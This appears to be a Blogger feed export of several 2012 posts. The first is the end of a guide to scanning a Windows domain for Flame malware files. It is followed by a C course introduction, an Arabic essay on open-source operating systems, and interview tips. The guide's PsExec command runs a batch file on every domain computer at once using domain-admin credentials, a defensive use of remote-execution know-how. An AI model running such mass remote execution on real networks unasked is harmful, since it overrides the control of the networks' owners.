<li style="border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">computer2</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">IP</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">IP</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">……</li>
</ul>
<div style="background-color: white; border: 0px; color: #373737; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 15px; line-height: 24px; margin-bottom: 1.625em; outline: 0px; padding: 0px; text-align: left; vertical-align: baseline;">
Then save that file as “DomainComputers.txt”, and run PsExec as follows:</div>
<pre style="background-color: #f4f4f4; border: 0px; color: #373737; font-family: 'Courier 10 Pitch', Courier, monospace; font-size: 13px; line-height: 1.5; margin-bottom: 1.625em; outline: 0px; overflow: auto; padding: 0.75em 1.625em; text-align: left; vertical-align: baseline;"><code>psexec @DomainComputers.txt -d -u domain\domainadmin -c Flame_LookForFile.bat</code></pre>
<div style="background-color: white; border: 0px; color: #373737; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 15px; line-height: 24px; margin-bottom: 1.625em; outline: 0px; padding: 0px; text-align: left; vertical-align: baseline;">
That extra “-d” will make PsExec NOT wait for the batch file to finish before moving to the next computer, it will fire the batch file at all machines AT ONCE….. then go grab a cup of coffee till all the computers in your environment look for the malware files for you and report back if anything was found.</div>
<div style="background-color: white; border: 0px; color: #373737; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 15px; line-height: 24px; margin-bottom: 1.625em; outline: 0px; padding: 0px; text-align: left; vertical-align: baseline;">
In the next part we will look for running processes using the same concepts.</div>
<h1 style="background-color: white; border: 0px; clear: both; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 15px; line-height: 24px; margin: 0px 0px 0.8125em; outline: 0px; padding: 0px; text-align: left; vertical-align: baseline;">
ATTACHMENTS</h1>
<div style="background-color: white; border: 0px; color: #373737; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 15px; line-height: 24px; margin-bottom: 1.625em; outline: 0px; padding: 0px; text-align: left; vertical-align: baseline;">
<a href="http://eldeeb.net/wrdprs/wp-content/uploads/2012/06/Flame_IP_List.txt" style="border: 0px; color: #1982d1; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;">Flame_IP_List</a> <a href="http://eldeeb.net/wrdprs/wp-content/uploads/2012/06/Flame_LookForFile.bat_.zip" style="border: 0px; color: #1982d1; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;">Flame_LookForFile.bat</a> <a href="http://eldeeb.net/wrdprs/wp-content/uploads/2012/06/Flame_File_List.txt" style="border: 0px; color: #1982d1; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;">Flame_File_List</a><a href="http://eldeeb.net/wrdprs/wp-content/uploads/2012/06/Flame_DNS_List.txt" style="border: 0px; color: #1982d1; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;">Flame_DNS_List</a></div>
<div style="background-color: white; border: 0px; color: #373737; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 15px; line-height: 24px; margin-bottom: 1.625em; outline: 0px; padding: 0px; text-align: left; vertical-align: baseline;">
<br /></div>
<h3 style="text-align: left;">
<b><span style="font-size: small;"><span style="background-color: transparent; line-height: 24px; text-align: center;"><span style="font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif;">Reference: </span></span><span style="font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif;"><span style="line-height: 24px;"> </span></span></span></b></h3>
<div style="text-align: left;">
<a href="http://eldeeb.net/wrdprs/?p=17">http://eldeeb.net/wrdprs/?p=17</a>
</div>
<div class="social-ring" style="background-color: white; border: 0px; color: #373737; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 11px; height: 30px !important; line-height: 20px !important; margin: 0px !important; outline: 0px; padding: 0px !important; text-align: left; vertical-align: baseline;">
<br class="Apple-interchange-newline" /></div>
</div>Anonymoushttp://www.blogger.com/profile/12539100610108911202noreply@blogger.com0tag:blogger.com,1999:blog-196454505171129982.post-32331668655818211772012-06-15T03:30:00.003-07:002012-06-15T03:55:46.732-07:00Introduction to C programming language<div dir="rtl" style="text-align: right;" trbidi="on">
<br />
<div class="MsoNormal">
</div>
<h1 align="center" style="text-align: center;">
<span style="color: red;"><br /></span></h1>
<h1 align="center" style="text-align: center;">
<span style="color: red;">Introduction
to C programming language</span><span style="color: white;"><o:p></o:p></span></h1>
<div>
<span style="color: red;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://www10.0zz0.com/2012/06/15/10/815184997.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="640" src="http://www10.0zz0.com/2012/06/15/10/815184997.jpg" width="480" /></a></div>
<div>
<span style="color: red;"><br /></span></div>
<div style="direction: ltr; text-align: left;">
<br />
<b><span style="background-color: white; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 13px; line-height: 17px;">This Book will include a practical course in C programming language. I noticed that</span><br style="background-color: white; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 13px; line-height: 17px;" /><span style="background-color: white; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 13px; line-height: 17px;">there is many technical and non-technical peoples joined information technology</span><br style="background-color: white; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 13px; line-height: 17px;" /><span style="background-color: white; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 13px; line-height: 17px;">market and development.</span></b><span class="text_exposed_show" style="background-color: white; display: inline; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 13px; line-height: 17px;"><b>The job market here in Egypt and Middle-east has been extended due to many<br />demands for software. but, there is a big difference between who’s learning<br />programming language and who’s learning concepts of programming language ,<br />For technical people must learn a solid concepts in programming language to<br />make them different In the job market .<br />Let’s start talking about the difference between both , First for who’s only learning<br />programming language ; anyone can learn programming language by practicing<br />watching tutorials and preserve language’s functions , he can write a software but<br />he can’t write a solid algorithms for his software which will make his software more<br />weaker and vulnerable and this software isn’t suitable for marketplace because it<br />will be cracked fast and no earn will be gained from this software , but for a person<br />who’s trying to learn algorithms and solid concepts of programming maybe it will<br />take a long time but he will produce more stronger software and maybe it won’t be<br />breakable so he can gain much more than weaker one’s .</b><br /><br /><br /><br /><b><u><span style="color: red;">In the first chapter we will learn</span></u></b></span></div>
<div style="direction: ltr; text-align: left;">
<span class="text_exposed_show" style="background-color: white; display: inline; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 13px; line-height: 17px;"><b><u><span style="color: red;"><br /></span></u></b><span style="color: orange;">- The history of C programming language, how it could be created.<br />Concepts of operating systems and how it can handle programming language.<br />The difference between low level language and high level language.<br />The difference between c programming and embedded C .<br />What is the compiler and how it could convert source code to executable software.<br />The types of errors can be found in any software and some concepts of debugging.<br />What is IDE (Integrated Development Environment) and which is the best for us.<br />How can we prepare our lab to start coding !.<br /><b>With my best regards</b></span></span><br />
<span style="color: #e06666; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: x-small;"><span style="line-height: 17px;">Ahmed Sherif</span></span><br />
<span style="color: #e06666; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: x-small;"><span style="line-height: 17px;"><br /></span></span><br />
<h2 style="text-align: left;">
<span style="color: #e06666; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: x-small;"><span style="line-height: 17px;"><b>You can Download PDF File</b></span></span> : <span style="color: #e06666; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: x-small;"><span style="line-height: 17px;"><a href="https://www.box.com/s/f94d939677abd6d9cb70">click Here</a></span></span></h2>
</div>
<div>
<div class="MsoNormal">
<span style="color: #e06666; font-family: 'Adobe Arabic'; font-size: 16pt;"><o:p></o:p></span></div>
<div class="MsoNormal">
<span style="color: #e06666; font-family: 'Adobe Arabic'; font-size: 16pt;"><o:p></o:p></span></div>
</div>
<br /></div>Anonymoushttp://www.blogger.com/profile/12539100610108911202noreply@blogger.com0tag:blogger.com,1999:blog-196454505171129982.post-64676806617642258362012-06-14T09:51:00.002-07:002012-06-14T09:51:57.986-07:00مقدمه الي انظمه التشغيل (introduction To Operating Systems)<div dir="rtl" style="text-align: right;" trbidi="on">
<b><br /></b><br />
<div class="post-body entry-content" id="post-body-8901903125436771305" itemprop="articleBody" style="font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 1.4; position: relative; text-align: -webkit-auto; width: 578px;">
<div dir="rtl" style="text-align: right;" trbidi="on">
<div style="border-width: 0px; font-family: Tahoma, Arial, sans-serif; font-size: 0.95em; outline: 0px; padding: 0px 0px 20px; text-align: -webkit-auto; vertical-align: baseline;">
<b><span style="color: red;">: مقدمه الي انظمه التشغيل (introduction To Operating Systems)</span><span style="color: #444444;"><span style="background-color: transparent;"><img alt="os" src="http://www.pcityourself.com/images/content/choosing/osHead.jpg" style="background-color: transparent; border-width: 0px; margin: 0px; max-width: 100%; outline: 0px; padding: 0px; vertical-align: baseline;" /></span></span></b></div>
<div style="background-color: #; border-width: 0px; color: #444444; font-family: Tahoma, Arial, sans-serif; font-size: 0.95em; outline: 0px; padding: 0px 0px 20px; text-align: -webkit-auto; vertical-align: baseline;">
<b>كنت متردد عن كتابه هذا المقال عن انظمه التشغيل نظرا لما تسيطر عليه مايكروسوفت من عقول في عالمنا العربي … ولكن هل سنظل في مصر والدول العربيه نستخدم نظام مايركوسوفت ( وندوز )المنغلق المصدر <img alt=":)" class="wp-smiley" src="http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif?m=1336659725g" style="background-color: transparent; border-width: 0px; margin: 0px; max-width: 100%; outline: 0px; padding: 0px; vertical-align: baseline;" /></b></div>
<div style="background-color: #; border-width: 0px; color: #444444; font-family: Tahoma, Arial, sans-serif; font-size: 0.95em; outline: 0px; padding: 0px 0px 20px; text-align: -webkit-auto; vertical-align: baseline;">
<b>بدايه يجب ان نعرف ماهو المنغلق المصدر وماهو المفتوح المصدر :</b></div>
<div style="background-color: #; border-width: 0px; color: #444444; font-family: Tahoma, Arial, sans-serif; font-size: 0.95em; outline: 0px; padding: 0px 0px 20px; text-align: -webkit-auto; vertical-align: baseline;">
<b><img alt="win" src="http://www.ekoob.com/wp-content/uploads/2010/06/windows-7-pc-security.jpg" style="background-color: transparent; border-width: 0px; margin: 0px; max-width: 100%; outline: 0px; padding: 0px; vertical-align: baseline;" /></b><br />
<b>المنغلق المصدر : هوا البرنامج او النظام الذي لا يمكن التعديل فيه ابدا الا بطرق غير شرعيه وتسمي الهندسه العكسيه .</b><br />
<b><img alt="lin" src="http://www.linux-mag.com/s/i/topics/tux.jpg" style="background-color: transparent; border-width: 0px; margin: 0px; max-width: 100%; outline: 0px; padding: 0px; vertical-align: baseline;" /></b><br />
<b>المفتوح المصدر : وهوا النظام الذي يمكن التعديل علي الـ(source code)الخاص به او باي برنامج عليه .</b></div>
<div style="background-color: #; border-width: 0px; color: #444444; font-family: Tahoma, Arial, sans-serif; font-size: 0.95em; outline: 0px; padding: 0px 0px 20px; text-align: -webkit-auto; vertical-align: baseline;">
<b>اذا نظرت الي انظمه وندوز والتي اعتدنا علي استخدامها منذ الصغر والتي تشجعنا عليها حكوماتنا بدورات الـ ICDL التي يظنون انها ترفع من مستوي المواطنين في استخدام الحاسب .. فسنري انه نظام منغلق المصدر</b><br />
<b>لا نستطيع التعديل عليه باي شئ .</b></div>
<div style="background-color: #; border-width: 0px; color: #444444; font-family: Tahoma, Arial, sans-serif; font-size: 0.95em; outline: 0px; padding: 0px 0px 20px; text-align: -webkit-auto; vertical-align: baseline;">
<strong style="background-color: transparent; border-width: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">مثال :</strong></div>
<div style="background-color: #; border-width: 0px; color: #444444; font-family: Tahoma, Arial, sans-serif; font-size: 0.95em; outline: 0px; padding: 0px 0px 20px; text-align: -webkit-auto; vertical-align: baseline;">
<b>- اذا اردت ان تقوم بتحميل برنامج مدفوع فعليك بشراءه او تحميل الكراك الخاص به لكسر هذا البرنامج ولكنها طريقه غير شرعيه</b></div>
<div style="background-color: #; border-width: 0px; color: #444444; font-family: Tahoma, Arial, sans-serif; font-size: 0.95em; outline: 0px; padding: 0px 0px 20px; text-align: -webkit-auto; vertical-align: baseline;">
<b>هل تظن ان شركه ميكروسوفت بما تحتويه من موظفين ومبرمجين من اكفأ واقوي المبرمجين علي مستوي العالم لا يستطعون التصدي لمثل هذه الكراكات .</b></div>
<div style="background-color: #; border-width: 0px; color: #444444; font-family: Tahoma, Arial, sans-serif; font-size: 0.95em; outline: 0px; padding: 0px 0px 20px; text-align: -webkit-auto; vertical-align: baseline;">
<b>عندما تقوم بتحميل نظام وندوز وتحميل السيريال او الكراك الخاص به .. تظن انك استطعت التحايل علي شركه مايكروسوفت وانك تستطيع استخدام النظام مثلك مثل اي مستخدم اخر قام بدفع مبلغ وقدره في مقابل شراء نسخه اصليه .</b></div>
<div style="background-color: #; border-width: 0px; color: #444444; font-family: Tahoma, Arial, sans-serif; font-size: 0.95em; outline: 0px; padding: 0px 0px 20px; text-align: -webkit-auto; vertical-align: baseline;">
<b>ولكن للاسف الواقع غير ذلك : فنحن نعلم ان شركه مايكروسوفت ليست بهذا الغباء لتترك المستخدمين في عالمنا العربي يستخدمون انظمتها من دون دفع مليم واحد !!! .. ولكن لماذا لا تقوم مايكروسوفت باغلاق مثل تلك الثغرات التي تؤدي الي خسارتها ؟؟ .. وماهو وجه الفائده الذي سيعود لمايكروسوفت لكي تجعل مستخدميها في العالم العربي لا يدفعون مليما واحدا في مقابل التمتع بانظمتها !!!</b></div>
<div style="background-color: #; border-width: 0px; color: #444444; font-family: Tahoma, Arial, sans-serif; font-size: 0.95em; outline: 0px; padding: 0px 0px 20px; text-align: -webkit-auto; vertical-align: baseline;">
<b>الاجابه : اذا نظرت حولك فستري ان مايكروسوفت مسيطره السيطره الكامل علي عقول مستخدمين الحاسب في العالم العربي بنسبه تزيد عن 95% .. وربما تجد مايكروسوفت تعطي منح ودورات مجانيه لاستخدام انظمتها واحدث تقنياتها</b><br />
<b>ولكن لماذا تقوم مايكروسوفت بكل هذا ؟؟؟</b></div>
<div style="background-color: #; border-width: 0px; color: #444444; font-family: Tahoma, Arial, sans-serif; font-size: 0.95em; outline: 0px; padding: 0px 0px 20px; text-align: -webkit-auto; vertical-align: baseline;">
<b>اذا افترضنا ان شركه مايكروسوفت ستقوم بالضغط علي حكوماتنا العربيه لكي تجعل مستخدميها يستخدمون النسخه الاصليه واذا وجدت انه لا يوجد كراك او سيريال تستطيع استخدامه لتدخل الي انظمه وندوز وتستخدمها كالعاده فما الحل ؟؟ … ليس لديك اي حلول الا شراء نسخه اصليه من وندوز حتي ولو 20.000 جنيه او اكثر</b><br />
<b>لانك اعتدت في حياتك كلها علي استخدام هذا النظام وادواته وبرامجه .</b></div>
<div style="background-color: #; border-width: 0px; color: #444444; font-family: Tahoma, Arial, sans-serif; font-size: 0.95em; outline: 0px; padding: 0px 0px 20px; text-align: -webkit-auto; vertical-align: baseline;">
<b>فلماذا نجعل شركه رأسماليه واحتكاريه تستغلنا كمستخدمين في المستقبل ؟؟</b></div>
<div style="background-color: #; border-width: 0px; color: #444444; font-family: Tahoma, Arial, sans-serif; font-size: 0.95em; outline: 0px; padding: 0px 0px 20px; text-align: -webkit-auto; vertical-align: baseline;">
<b>هل سمع احدكم عن قانون SOPA ?? قانون الكونجرس الامريكي !!!</b></div>
<div style="background-color: #; border-width: 0px; color: #444444; font-family: Tahoma, Arial, sans-serif; font-size: 0.95em; outline: 0px; padding: 0px 0px 20px; text-align: -webkit-auto; vertical-align: baseline;">
<b>اذا نظرت فستجد ان امريكا مسيطره بالكامل علي الانترنت في العالم واذا ارادت ان تنهيه في لحظه او تغلقه علي دوله ما ستنهيه فورا ولن يستطيع احد الدخول علي الانترنت مهما كان !!</b></div>
<div style="background-color: #; border-width: 0px; color: #444444; font-family: Tahoma, Arial, sans-serif; font-size: 0.95em; outline: 0px; padding: 0px 0px 20px; text-align: -webkit-auto; vertical-align: baseline;">
<b>لماذا نترك تلك الشركات تسيطر علي عقولنا وعلي استخداماتنا في المستقبل ؟؟</b></div>
<div style="background-color: #; border-width: 0px; color: #444444; font-family: Tahoma, Arial, sans-serif; font-size: 0.95em; outline: 0px; padding: 0px 0px 20px; text-align: -webkit-auto; vertical-align: baseline;">
<b>اذا قد يتسائل البعض ماهو الحل وماهو البديل فنحن لا نعرف الا انظمه وندوز !!!</b></div>
<div style="background-color: #; border-width: 0px; color: #444444; font-family: Tahoma, Arial, sans-serif; font-size: 0.95em; outline: 0px; padding: 0px 0px 20px; text-align: -webkit-auto; vertical-align: baseline;">
<b>سأطرح عليكم سؤال … هل سمعت عن منظمه جنو ؟؟</b></div>
<div style="background-color: #; border-width: 0px; color: #444444; font-family: Tahoma, Arial, sans-serif; font-size: 0.95em; outline: 0px; padding: 0px 0px 20px; text-align: -webkit-auto; vertical-align: baseline;">
<b>ربما قد سمع البعض عنها … ولكن سأشرح بالتفصيل ماهي جنو وكيف تمت بناء هذه المنظومه</b><br />
<b><img alt="gnu" src="http://inkscapestuff.org/CONTENT/content-pre1/49503-1.png" style="background-color: transparent; border-width: 0px; margin: 0px; max-width: 100%; outline: 0px; padding: 0px; vertical-align: baseline;" /></b></div>
<div style="background-color: #; border-width: 0px; color: #444444; font-family: Tahoma, Arial, sans-serif; font-size: 0.95em; outline: 0px; padding: 0px 0px 20px; text-align: -webkit-auto; vertical-align: baseline;">
<b>تبدأ قصه جنو مع شخص يدعي ريتشارد ستولمان عندما واجه مشكله مع نظام التشغيل Unix فقرر الاتصال بالدعم الفني لكي يحاول حل تلك المشكله ولكن الشركه لم تسمح له برؤيه كود البرنامج .. فقرر ريتشارد</b><br />
<b>انشاء مؤسسه جديده تدعي جنو تضم العديد من المبرمجين علي مستوي العالم ويستطيع اي شخص في العالم</b><br />
<b>ان يطور في هذه البرامج ويري الكود المكتوب به .</b><br />
<b><img alt="stallman" src="http://www.webweavertech.com/ovidiu/weblog/gallery/richard-stallman/richard-stallman-Thumbnails/0.jpg" style="background-color: transparent; border-width: 0px; margin: 0px; max-width: 100%; outline: 0px; padding: 0px; vertical-align: baseline;" /></b></div>
<div style="background-color: #; border-width: 0px; color: #444444; font-family: Tahoma, Arial, sans-serif; font-size: 0.95em; outline: 0px; padding: 0px 0px 20px; text-align: -webkit-auto; vertical-align: baseline;">
<b>وعندما جاء لينوس تروفالد طالب في جامعه هيلسنكي والذي لم يكن يتعدي الـ 21 من عمره قرر ان ينشأ نواه لنظام جديد تشبه نظام unix والتي اسماها بدايه من اسمه بالاسم Linux (لينكس) ومن ثم قرر ضم مؤسسه جنو للنظام فاصبح النظام يعمل بنواه لينوس وبرامج جنو</b><br />
<b>فتم اطلاق نظام جنو\لينوكس</b><br />
<b><img alt="linus" src="http://upload.wikimedia.org/wikipedia/commons/thumb/6/69/Linus_Torvalds.jpeg/220px-Linus_Torvalds.jpeg" style="background-color: transparent; border-width: 0px; margin: 0px; max-width: 100%; outline: 0px; padding: 0px; vertical-align: baseline;" /></b></div>
<div style="background-color: #; border-width: 0px; color: #444444; font-family: Tahoma, Arial, sans-serif; font-size: 0.95em; outline: 0px; padding: 0px 0px 20px; text-align: -webkit-auto; vertical-align: baseline;">
<b>ميزه هذا النظام انه نظام مفتوح المصدر اي يمكن التعديل في اي من برامجه كما ان جميع البرامج التي يمكن تحميلها فجميعها مجانيه ويمكنك ايضا التعديل عليها واضافه اسمك في قائمه المطورين لهذا البرنامج ..</b></div>
<div style="background-color: #; border-width: 0px; color: #444444; font-family: Tahoma, Arial, sans-serif; font-size: 0.95em; outline: 0px; padding: 0px 0px 20px; text-align: -webkit-auto; vertical-align: baseline;">
<b>في المقال القادم باذن الله … سنتعلم كيف نبدأ مع نظام التشغيل لينكس ونشعر بأننا احرار لا احد يحتكر علينا تكنولوجيا بيعنها او يفرض ثقافته علينا <img alt=":)" class="wp-smiley" src="http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif?m=1336659725g" style="background-color: transparent; border-width: 0px; margin: 0px; max-width: 100%; outline: 0px; padding: 0px; vertical-align: baseline;" /></b></div>
<div style="border-width: 0px; font-family: Tahoma, Arial, sans-serif; font-size: 0.95em; outline: 0px; padding: 0px 0px 20px; text-align: -webkit-auto; vertical-align: baseline;">
<div style="color: #444444; text-align: left;">
<b>With my best wishes</b></div>
<div style="text-align: left;">
<strong style="background-color: transparent; border-width: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><u><span style="color: #bf9000;">Ahmed sherif</span></u></strong></div>
</div>
</div>
<div style="clear: both;">
</div>
</div>
<div class="post-footer" style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 1.6; margin: 0.5em 0px 0px; text-align: -webkit-auto;">
<br class="Apple-interchange-newline" /></div>
</div>Anonymoushttp://www.blogger.com/profile/12539100610108911202noreply@blogger.com0tag:blogger.com,1999:blog-196454505171129982.post-67092892755265937442012-06-14T09:45:00.002-07:002012-06-14T09:45:32.032-07:007 Things You Should Never Do During An Interview<div dir="rtl" style="text-align: right;" trbidi="on">
<title>HTML Online Editor Sample</title>
<br />
<h1 dir="ltr" style="text-align: center;">
<img alt="women-interview" src="http://static8.businessinsider.com/image/4f84563fecad04ef62000001/women-interview.jpg" />
</h1>
<h1 dir="ltr" style="text-align: left;">
<span style="background-color: white; color: #333333; font-family: arial, helvetica, sans-serif; font-size: 13px; font-weight: normal; line-height: 16px; text-align: left;">With the job market extremely tight, even the small stuff counts, especially when you’re on a job interview. That’s</span><span style="background-color: white; color: #333333; font-family: arial, helvetica, sans-serif; font-size: 13px; font-weight: normal; line-height: 16px; text-align: left;"> why </span><a href="http://www.businessinsider.com/linkedin-reveals-the-biggest-interview-mistakes-people-make-2012-3" style="background-color: white; color: #1d637d; font-family: arial, helvetica, sans-serif; font-size: 13px; font-weight: normal; line-height: 16px; text-align: left; text-decoration: none;">it’s so important not to say or do the wrong things</a><span style="background-color: white; color: #333333; font-family: arial, helvetica, sans-serif; font-size: 13px; font-weight: normal; line-height: 16px; text-align: left;">, since that first impression could end up being the las one.</span></h1>
<h1 dir="ltr" style="text-align: left;">
<div style="background-color: white; color: #333333; font-family: arial, helvetica, sans-serif; font-size: 13px; font-weight: normal; line-height: 16px; margin-top: 1em; padding: 0px; text-align: left;">
</div>
<div style="background-color: white; color: #333333; font-family: arial, helvetica, sans-serif; font-size: 13px; font-weight: normal; line-height: 16px; margin-top: 1em; padding: 0px; text-align: left;">
With that in mind, here are seven deadly sins of job interviewing.</div>
<div style="background-color: white; color: #333333; font-family: arial, helvetica, sans-serif; font-size: 13px; font-weight: normal; line-height: 16px; margin-top: 1em; padding: 0px; text-align: left;">
<strong style="font-style: inherit;">1. Don’t Be Late To the Interview</strong></div>
<div style="background-color: white; color: #333333; font-family: arial, helvetica, sans-serif; font-size: 13px; font-weight: normal; line-height: 16px; margin-top: 1em; padding: 0px; text-align: left;">
Even if you car broke down or the subway derailed, do everything you can to get to that job interview on time.</div>
<div style="background-color: white; color: #333333; font-family: arial, helvetica, sans-serif; font-size: 13px; font-weight: normal; line-height: 16px; margin-top: 1em; padding: 0px; text-align: left;">
“If you have a legitimate excuse it’s still hard to bounce back,” says Pamela Skillings, co-founder of job coaching firm Skillful Communications. “People are suspicious because they hear the same excuses all the time.”</div>
<div style="background-color: white; color: #333333; font-family: arial, helvetica, sans-serif; font-size: 13px; font-weight: normal; line-height: 16px; margin-top: 1em; padding: 0px; text-align: left;">
On the flip side, you don’t want to show up too early and risk appearing desperate, but you do want to be there at least five minutes early or at the very least on time.</div>
<div style="background-color: white; color: #333333; font-family: arial, helvetica, sans-serif; font-size: 13px; font-weight: normal; line-height: 16px; margin-top: 1em; padding: 0px; text-align: left;">
<strong style="font-style: inherit;">2. Don’t Show Up Unprepared</strong></div>
<div style="background-color: white; color: #333333; font-family: arial, helvetica, sans-serif; font-size: 13px; font-weight: normal; line-height: 16px; margin-top: 1em; padding: 0px; text-align: left;">
It seems simple, but <a href="http://www.businessinsider.com/heres-the-biggest-mistake-people-are-making-at-career-fairs-these-days-2012-3" style="color: #1d637d; text-decoration: none;">countless people go on job interviews knowing very little about the company</a> they are interviewing with when all it would take is a simple <a class="hidden_link" href="http://www.businessinsider.com/blackboard/google" style="color: #1d637d; text-decoration: none;">Google</a> search to find out. As a result, they end up asking obvious questions, which signal to the interviewer that they are too lazy to prepare.</div>
<div style="background-color: white; color: #333333; font-family: arial, helvetica, sans-serif; font-size: 13px; font-weight: normal; line-height: 16px; margin-top: 1em; padding: 0px; text-align: left;">
“Don’t ask if the company is public or private, how long it’s been in business and where they do their manufacturing,” says Mark Jaffe, president of Wyatt & Jaffe, the executive search firm. “Sharpen your pencil before you go to school.”</div>
<div style="background-color: white; color: #333333; font-family: arial, helvetica, sans-serif; font-size: 13px; font-weight: normal; line-height: 16px; margin-top: 1em; padding: 0px; text-align: left;">
<strong style="font-style: inherit;">3. Don’t Ask About Salary, Benefits, Perks</strong></div>
<div style="background-color: white; color: #333333; font-family: arial, helvetica, sans-serif; font-size: 13px; font-weight: normal; line-height: 16px; margin-top: 1em; padding: 0px; text-align: left;">
Your initial interview with a company shouldn’t be about what the company can do for you, but what you can do for the company. Which means the interview isn’t the time to ask about the severance package, vacation time or health plan. Instead <a href="http://www.businessinsider.com/five-interview-questions-to-help-you-hire-a-great-team-2012-4" style="color: #1d637d; text-decoration: none;">you should be selling yourself as to why the company can’t live without you.</a></div>
<div style="background-color: white; color: #333333; font-family: arial, helvetica, sans-serif; font-size: 13px; font-weight: normal; line-height: 16px; margin-top: 1em; padding: 0px; text-align: left;">
“Your interest should be about the job and what your responsibilities will be,” says Terry Pile, Principal Consultant of Career Advisors. “Asking about vacation, sick leave, 401K, salary and benefits should be avoided at all costs.”</div>
<div style="background-color: white; color: #333333; font-family: arial, helvetica, sans-serif; font-size: 13px; font-weight: normal; line-height: 16px; margin-top: 1em; padding: 0px; text-align: left;">
<strong style="font-style: inherit;">4. Don’t Focus On Future Roles Instead Of The Job At Hand</strong></div>
<div style="background-color: white; color: #333333; font-family: arial, helvetica, sans-serif; font-size: 13px; font-weight: normal; line-height: 16px; margin-top: 1em; padding: 0px; text-align: left;">
The job interview is not the time or place to ask about advancement opportunities or how to become the CEO. You need to be interested in the job you are actually interviewing for. Sure, a company wants to see that you are ambitious, but they also want assurances you are committed to the job you’re being hired for.</div>
<div style="background-color: white; color: #333333; font-family: arial, helvetica, sans-serif; font-size: 13px; font-weight: normal; line-height: 16px; margin-top: 1em; padding: 0px; text-align: left;">
“You can’t come with an agenda that this job is just a stepping stone to bigger and better things,” says Jaffe.</div>
<div style="background-color: white; color: #333333; font-family: arial, helvetica, sans-serif; font-size: 13px; font-weight: normal; line-height: 16px; margin-top: 1em; padding: 0px; text-align: left;">
<strong style="font-style: inherit;">5. Don’t Turn The Weakness Question Into A Positive</strong></div>
<div style="background-color: white; color: #333333; font-family: arial, helvetica, sans-serif; font-size: 13px; font-weight: normal; line-height: 16px; margin-top: 1em; padding: 0px; text-align: left;">
<a href="http://www.businessinsider.com/8-mind-games-that-recruiters-play-during-interviews-2012-2#they-will-pause-for-an-awkward-silence-just-to-get-you-talking-1" style="color: #1d637d; text-decoration: none;">To put it bluntly, interviewers are not idiots.</a> So when they ask you about a weakness and you say you work too hard or you are too much of a perfectionist, chances are they are more apt to roll their eyes than be blown away. Instead, be honest and come up with a weakness that can be improved on and won’t ruin your chances of getting a job.</div>
<div style="background-color: white; color: #333333; font-family: arial, helvetica, sans-serif; font-size: 13px; font-weight: normal; line-height: 16px; margin-top: 1em; padding: 0px; text-align: left;">
For instance, if you are interviewing for a project management position, it wouldn’t be wise to say you have poor organizational skills, but it’s ok to say you want to learn more shortcuts in Excel. “Talk about the skills you don’t have that will add value, but aren’t required for the job,” says Pile.</div>
<div style="background-color: white; color: #333333; font-family: arial, helvetica, sans-serif; font-size: 13px; font-weight: normal; line-height: 16px; margin-top: 1em; padding: 0px; text-align: left;">
<strong style="font-style: inherit;">6. Don’t Lie</strong></div>
<div style="background-color: white; color: #333333; font-family: arial, helvetica, sans-serif; font-size: 13px; font-weight: normal; line-height: 16px; margin-top: 1em; padding: 0px; text-align: left;">
Many people think its ok to exaggerate their experience or fib about a firing on a job interview, but lying can be a surefire way not to get hired. Even if you get through the interview process with your half truths, chances are you won’t be equipped to handle the job you were hired to do. Not to mention the more you lie the more likely you are to slip up.</div>
<div style="background-color: white; color: #333333; font-family: arial, helvetica, sans-serif; font-size: 13px; font-weight: normal; line-height: 16px; margin-top: 1em; padding: 0px; text-align: left;">
“Don’t exaggerate, don’t make things bigger than they are and don’t claim credit for accomplishments you didn’t do,” says Jaffe. “You leave so much room in your brain if you don’t have to fill it with which lie you told which person.”</div>
<div style="background-color: white; color: #333333; font-family: arial, helvetica, sans-serif; font-size: 13px; font-weight: normal; line-height: 16px; margin-top: 1em; padding: 0px; text-align: left;">
<strong style="font-style: inherit;">7. Don’t Ask If There’s Any Reason You Shouldn’t Be Hired</strong></div>
